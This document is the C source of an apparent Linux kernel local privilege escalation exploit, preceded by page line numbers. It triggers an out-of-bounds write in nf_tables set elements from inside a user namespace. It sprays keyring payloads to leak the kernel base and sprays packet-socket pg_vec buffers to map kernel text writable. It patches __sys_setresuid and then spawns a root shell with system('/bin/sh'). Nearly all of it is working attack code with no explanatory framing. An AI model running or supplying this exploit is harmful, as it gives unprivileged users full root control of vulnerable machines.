1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585
| #define _GNU_SOURCE #include <arpa/inet.h> #include <sched.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <err.h> #include <libmnl/libmnl.h> #include <libnftnl/chain.h> #include <libnftnl/expr.h> #include <libnftnl/rule.h> #include <libnftnl/table.h> #include <libnftnl/set.h> #include <linux/netfilter.h> #include <linux/netfilter/nf_tables.h> #include <linux/netfilter/nfnetlink.h> #include <sched.h> #include <sys/types.h> #include <signal.h> #include <net/if.h> #include <asm/types.h> #include <linux/netlink.h> #include <linux/rtnetlink.h> #include <linux/if_packet.h> #include <linux/ethtool.h> #include <linux/sockios.h> #include <sys/xattr.h> #include <unistd.h> #include <sys/types.h> #include <sys/ipc.h> #include <sys/msg.h> #include <sys/socket.h> #include <sys/syscall.h> #include <assert.h> #include <netinet/in.h> #include <stdint.h> #include <syscall.h> #include <mqueue.h> #include <linux/keyctl.h> #include <sys/shm.h> #include <sys/ipc.h> #include <sys/types.h> #include <sys/mman.h>
#define PAGE_SIZE 0x1000 #define PREFIX_BUF_LEN 0x10 #define RCU_HEAD_LEN 0x10 #define KMALLOC64_KEYLEN (64 - 8 - 12 - 16) #define KEY_PAYLOAD_SIZE (32 + 1 - 24) #define CORRUPT_SIZE 0x8000 #define SPRAY_KEY_CNT 150 #define FREE_HOLE_STEP 15 #define KMALLOC64_PAGE_CNT ((32 + 8) / 8) #define PACKET_SPRAY_CNT 0x100 #define PACKET_FENGSHUI_CNT 0x100 #define PACKET_FREE_HOLE_STEP 0x10
struct leak_payload { uint8_t prefix[PREFIX_BUF_LEN]; uint8_t rcu_buf[RCU_HEAD_LEN]; uint16_t len; } __attribute__((packed));
struct write_payload { uint8_t prefix[PREFIX_BUF_LEN]; void *pg_vec; } __attribute__((packed));
void print_hex(char *buf, int size) { int i; puts("======================================"); printf("data :\n"); for (i = 0; i < (size / 8); i++) { if (i % 2 == 0) { if (i / 2 < 10) { printf("%d ", i / 2); } else if (i / 2 < 100) { printf("%d ", i / 2); } else { printf("%d", i / 2); } } printf(" %16llx", *(size_t *)(buf + i * 8)); if (i % 2 == 1) { printf("\n"); } } puts("======================================"); }
void unshare_setup(uid_t uid, gid_t gid) { int temp; char edit[0x100];
unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET);
temp = open("/proc/self/setgroups", O_WRONLY); write(temp, "deny", strlen("deny")); close(temp);
temp = open("/proc/self/uid_map", O_WRONLY); snprintf(edit, sizeof(edit), "0 %d 1", uid); write(temp, edit, strlen(edit)); close(temp);
temp = open("/proc/self/gid_map", O_WRONLY); snprintf(edit, sizeof(edit), "0 %d 1", gid); write(temp, edit, strlen(edit)); close(temp);
return; }
void set_cpu_affinity(int cpu_n, pid_t pid) { cpu_set_t set;
CPU_ZERO(&set); CPU_SET(cpu_n, &set);
if (sched_setaffinity(pid, sizeof(set), &set) < 0) err(1, "sched_setaffinity"); }
void create_table(struct mnl_socket *nl, const char *name) { uint8_t family = NFPROTO_IPV4; struct nftnl_table *table = nftnl_table_alloc();
nftnl_table_set_str(table, NFTNL_TABLE_NAME, name); nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0);
struct nftnl_expr *exprs[128]; int exprid = 0;
char buf[MNL_SOCKET_BUFFER_SIZE * 2];
struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(buf, sizeof(buf)); int seq = 0;
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch);
struct nlmsghdr *nlh; int table_seq = seq;
nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, NLM_F_CREATE | NLM_F_ACK, seq++); nftnl_table_nlmsg_build_payload(nlh, table); mnl_nlmsg_batch_next(batch); nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch);
if (nl == NULL) { err(1, "mnl_socket_open"); }
printf("[+] new table %s\n", name); if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { err(1, "mnl_socket_send"); } }
void create_set(struct mnl_socket *nl, const char *name, int key_len, int data_len, int data_type, char *table_name, int id) { uint8_t family = NFPROTO_IPV4;
struct nftnl_set *set_stable = nftnl_set_alloc(); nftnl_set_set_str(set_stable, NFTNL_SET_TABLE, table_name); nftnl_set_set_str(set_stable, NFTNL_SET_NAME, name); nftnl_set_set_u32(set_stable, NFTNL_SET_KEY_LEN, key_len); nftnl_set_set_u32(set_stable, NFTNL_SET_DATA_LEN, data_len); nftnl_set_set_u32(set_stable, NFTNL_SET_DATA_TYPE, data_type); nftnl_set_set_u32(set_stable, NFTNL_SET_FLAGS, NFT_SET_MAP); nftnl_set_set_u32(set_stable, NFTNL_SET_FAMILY, family); nftnl_set_set_u32(set_stable, NFTNL_SET_ID, id);
struct nftnl_expr *exprs[128]; int exprid = 0;
char buf[MNL_SOCKET_BUFFER_SIZE * 2];
struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(buf, sizeof(buf)); int seq = 0;
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch);
struct nlmsghdr *nlh;
nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSET, family, NLM_F_CREATE | NLM_F_ACK, seq++); nftnl_set_nlmsg_build_payload(nlh, set_stable); nftnl_set_free(set_stable); mnl_nlmsg_batch_next(batch);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch);
if (nl == NULL) { err(1, "mnl_socket_open"); }
printf("[+] setting stable %s and set\n", name); if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { err(1, "mnl_socket_send"); } }
void create_setelem(struct mnl_socket *nl, char *key_buf, int key_len, char *data_buf, int data_len, char *set_name, char *table_name, int id) { uint8_t family = NFPROTO_IPV4;
struct nftnl_set *set_stable = nftnl_set_alloc(); nftnl_set_set_str(set_stable, NFTNL_SET_TABLE, table_name); nftnl_set_set_str(set_stable, NFTNL_SET_NAME, set_name); nftnl_set_set_u32(set_stable, NFTNL_SET_ID, id);
struct nftnl_set_elem *element = nftnl_set_elem_alloc(); nftnl_set_elem_set(element, NFTNL_SET_ELEM_KEY, key_buf, key_len); nftnl_set_elem_set(element, NFTNL_SET_ELEM_DATA, data_buf, data_len);
struct nftnl_set_elem *element2 = nftnl_set_elem_alloc(); int verdict = NFT_CONTINUE; nftnl_set_elem_set(element2, NFTNL_SET_ELEM_KEY, key_buf, key_len); nftnl_set_elem_set(element2, NFTNL_SET_ELEM_VERDICT, &verdict, 4);
nftnl_set_elem_add(set_stable, element); nftnl_set_elem_add(set_stable, element2);
int seq = 0; char buf[MNL_SOCKET_BUFFER_SIZE * 2]; struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch);
struct nlmsghdr *nlh;
nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSETELEM, family, NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK, seq++); nftnl_set_elems_nlmsg_build_payload(nlh, set_stable); nftnl_set_free(set_stable); mnl_nlmsg_batch_next(batch);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch);
if (nl == NULL) { err(1, "mnl_socket_open"); }
printf("[+] setting set_elem down\n"); if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { err(1, "mnl_socket_send"); } }
static inline int add_key(const char *type, const char *description, const void *payload, size_t plen, int ringid) { return syscall(__NR_add_key, type, description, payload, plen, ringid); }
static inline long keyctl(int operation, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5) { return syscall(__NR_keyctl, operation, arg2, arg3, arg4, arg5); }
void spray_keyring(int *id_buffer, uint32_t spray_size) { char key_desc[0x20]; char key_payload[KEY_PAYLOAD_SIZE + 1] = {0};
for (uint32_t i = 0; i < spray_size; i++) { snprintf(key_desc, sizeof(key_desc), "spray_key_%d", i); memset(key_payload, 'A', KEY_PAYLOAD_SIZE); for (int j = 0; j < 3; j++) { id_buffer[i] = add_key("user", key_desc, key_payload, strlen(key_payload), KEY_SPEC_PROCESS_KEYRING); if (id_buffer[i] < 0) usleep(100 * 1000); else break; }
if (id_buffer[i] < 0) { printf("add_key %d: %m", i); exit(0); } } }
int is_keyring_corrupted(int *id_buffer, uint32_t id_buffer_size, int *corrupted_key_id) { uint8_t buffer[CORRUPT_SIZE] = {0}; int32_t keylen;
for (uint32_t i = 0; i < id_buffer_size; i++) { if (!id_buffer[i]) continue;
keylen = keyctl(KEYCTL_READ, id_buffer[i], (long)buffer, CORRUPT_SIZE, 0); if (keylen < 0) err(1, "keyctl: %m");
if (keylen == CORRUPT_SIZE) { *corrupted_key_id = id_buffer[i]; return 1; } } return 0; }
uint64_t get_keyring_leak(int id_buffer) { uint8_t *buffer = malloc(CORRUPT_SIZE); int32_t keylen;
keylen = keyctl(KEYCTL_READ, id_buffer, (long)buffer, CORRUPT_SIZE, 0); if (keylen < 0) err(1, "keyctl: %m");
if (keylen == CORRUPT_SIZE) { char *ptr = buffer; ptr += (128 - 24); while (ptr < (char *)buffer + CORRUPT_SIZE - 128) { if ((*(uint64_t *)(ptr + 0x18) == 0x4141414141414141) && (*(uint64_t *)(ptr + 8) != 0)) { puts("find user_key_payload rcu.func!"); return *(uint64_t *)(ptr + 8); } ptr += 128; } } return 0; }
void release_key(int id_buffer) { if (id_buffer) { if (keyctl(KEYCTL_REVOKE, id_buffer, 0, 0, 0) < 0) err(1, "keyctl(KEYCTL_REVOKE): %m"); } }
void release_keys(int *id_buffer, uint32_t id_buffer_size) { for (uint32_t i = 0; i < id_buffer_size; i++) { release_key(id_buffer[i]); id_buffer[i] = 0; } }
void packet_socket_rx_ring_init(int s, unsigned int block_size, unsigned int frame_size, unsigned int block_nr, unsigned int sizeof_priv, unsigned int timeout) { int v = TPACKET_V3; int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v)); if (rv < 0) err(1, "setsockopt(PACKET_VERSION): %m");
struct tpacket_req3 req; memset(&req, 0, sizeof(req)); req.tp_block_size = block_size; req.tp_frame_size = frame_size; req.tp_block_nr = block_nr; req.tp_frame_nr = (block_size * block_nr) / frame_size; req.tp_retire_blk_tov = timeout; req.tp_sizeof_priv = sizeof_priv; req.tp_feature_req_word = 0;
rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req)); if (rv < 0) err(1, "setsockopt(PACKET_RX_RING): %m"); }
int packet_socket_setup(unsigned int block_size, unsigned int frame_size, unsigned int block_nr, unsigned int sizeof_priv, int timeout) { int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (s < 0) err(1, "socket(AF_PACKET): %m");
packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, sizeof_priv, timeout);
struct sockaddr_ll sa; memset(&sa, 0, sizeof(sa)); sa.sll_family = PF_PACKET; sa.sll_protocol = htons(ETH_P_ALL); sa.sll_ifindex = if_nametoindex("lo"); sa.sll_hatype = 0; sa.sll_pkttype = 0; sa.sll_halen = 0;
int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa)); if (rv < 0) err(1, "bind(AF_PACKET): %m");
return s; }
int pagealloc_pad(int count, int size) { return packet_socket_setup(size, 2048, count, 0, 100); }
int main() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); setvbuf(stderr, 0, 2, 0); char c; char writebuf[0x2000]; char buf[0x2000]; struct leak_payload leak_pay; int id_buffer[SPRAY_KEY_CNT] = {0}; int corrupted_key_id = 0; uint64_t leak_ptr = 0; uint64_t kbase = 0;
unshare_setup(getuid(), getgid()); set_cpu_affinity(0, 0);
struct mnl_socket *nl = mnl_socket_open(NETLINK_NETFILTER); const int leak_setid = 1; const int write_setid = 2;
create_table(nl, "table"); create_set(nl, "leak", KMALLOC64_KEYLEN, sizeof(struct leak_payload), NFT_DATA_VALUE, "table", leak_setid); create_set(nl, "write", KMALLOC64_KEYLEN, sizeof(struct write_payload), NFT_DATA_VALUE, "table", write_setid);
printf("spraying user_key_payload ...\n"); spray_keyring(id_buffer, SPRAY_KEY_CNT);
printf("free some key to create holes ...\n"); for (int i = 0; i < SPRAY_KEY_CNT; i += FREE_HOLE_STEP) { release_key(id_buffer[i]); id_buffer[i] = 0; }
puts("trigger oob write ..."); memset(buf, '\0', 0x2000); leak_pay.len = CORRUPT_SIZE; create_setelem(nl, buf, KMALLOC64_KEYLEN, &leak_pay, sizeof(struct leak_payload), "leak", "table", leak_setid);
puts("checking if keyring is corrupted ..."); if (is_keyring_corrupted(id_buffer, SPRAY_KEY_CNT, &corrupted_key_id)) printf("found keyring %d is corrupted!", corrupted_key_id); else { release_keys(id_buffer, SPRAY_KEY_CNT); err(1, "can't found corrupted keyring ..."); }
puts("free other keyring to set rcu.func in user_key_payload ..."); for (int i = 0; i < SPRAY_KEY_CNT; i++) { if (id_buffer[i] == corrupted_key_id) continue; release_key(id_buffer[i]); id_buffer[i] = 0; }
puts("searching rcu.func ..."); leak_ptr = get_keyring_leak(corrupted_key_id); if (!leak_ptr) { err(1, "leak rcu.func failed"); return 1; }
printf("leak user_free_payload_rcu: 0x%08lx\n", leak_ptr); kbase = leak_ptr - 0x51b0a0; printf("leak kbase: 0x%08lx\n", kbase); if (kbase & 0xFFF) err(1, "wrong offset!");
int packet_fds[PACKET_SPRAY_CNT] = {0}; int fengshui_fds[PACKET_FENGSHUI_CNT] = {0};
struct write_payload write_pay; memset(&write_pay, 0, sizeof(struct write_payload)); write_pay.pg_vec = (void *)((kbase + 0xdf530) & ~0xfff);
puts("use raw_packet to fenghsui kmalloc-64 ..."); for (int i = 0; i < PACKET_FENGSHUI_CNT; i++) fengshui_fds[i] = pagealloc_pad(KMALLOC64_PAGE_CNT, 0x1000);
puts("spraying pg_vec in kmalloc-64 ..."); for (int i = 0; i < PACKET_SPRAY_CNT; i++) { packet_fds[i] = pagealloc_pad(KMALLOC64_PAGE_CNT, 0x1000); }
puts("free some pg_vec to create holes ..."); for (int i = 0; i < PACKET_SPRAY_CNT; i += PACKET_FREE_HOLE_STEP) { close(packet_fds[i]); packet_fds[i] = 0; }
puts("trigger oob write ..."); create_setelem(nl, buf, KMALLOC64_KEYLEN, &write_pay, sizeof(struct write_payload), "write", "table", write_setid);
puts("searching edited page ..."); for (int i = 0; i < PACKET_SPRAY_CNT; i++) { if (!packet_fds[i]) continue;
char *page = (char *)mmap(NULL, PAGE_SIZE * KMALLOC64_PAGE_CNT, PROT_READ | PROT_WRITE, MAP_SHARED, packet_fds[i], 0); if (!page || (ssize_t)page < 0) { printf("mmap error: %p\n", page); continue; }
int j; for (j = 0x30; j < 0x1000; j++) { if (page[j] != 0) break; } if (j != 0x1000) { puts("found target page!!"); print_hex(page, 0x100); puts("patching __sys_setresuid jne to jmp ..."); page[(kbase + 0xdf530 + 0xc9) & 0xfff] = 0xeb;
setresuid(0, 0, 0); system("/bin/sh"); return 0; } }
puts("can't found target page"); for (int i = 0; i < PACKET_FENGSHUI_CNT; i++) close(fengshui_fds[i]); for (int i = 0; i < PACKET_SPRAY_CNT; i++) close(packet_fds[i]); }
|